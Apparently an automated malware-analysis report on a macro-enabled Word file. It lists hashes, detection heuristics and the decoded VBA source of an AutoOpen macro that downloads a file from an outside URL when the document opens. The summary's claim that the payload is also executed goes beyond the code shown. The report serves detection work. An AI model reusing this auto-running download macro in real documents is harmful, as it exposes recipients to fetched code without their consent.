Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 790fcbeac9302e65…

MALICIOUS

Office (OOXML)

14.3 KB Created: 2021-05-19 14:04:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2021-05-26
MD5: 3acc963532f3efe01f2011850c13287e SHA-1: ecd9df333be4fe41216808e68fb271289c23ad19 SHA-256: 790fcbeac9302e65b9579936caac102dea6062e1b7496f4236930bbaea342625
90 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA project with an AutoOpen macro. This macro utilizes the URLDownloadToFile function to download a file from the URL 'https://prog.hu/site/images/proghu-icon.png' and save it locally as 'aaaaaaa.png'. This indicates an attempt to download and execute a second-stage payload.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If Vba7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub aUToOPen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://prog.hu/site/images/proghu-icon.png Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 975 bytes
SHA-256: 5318c2990f667e51a8ffb1cfb092980a8214bd9868643a334eb1558cdbc624d1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

#If Vba7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
    
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" _
    Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
    ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

#End If




Sub aUToOPen()

    
    URLDownloadToFile 0, "https://prog.hu/site/images/proghu-icon.png", "aaaaaaa.png", 0, 0

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 9728 bytes
SHA-256: f73786d9a9cfc063cf41dd99867830b9466a44b7b9779931e244c274fcb8cf25

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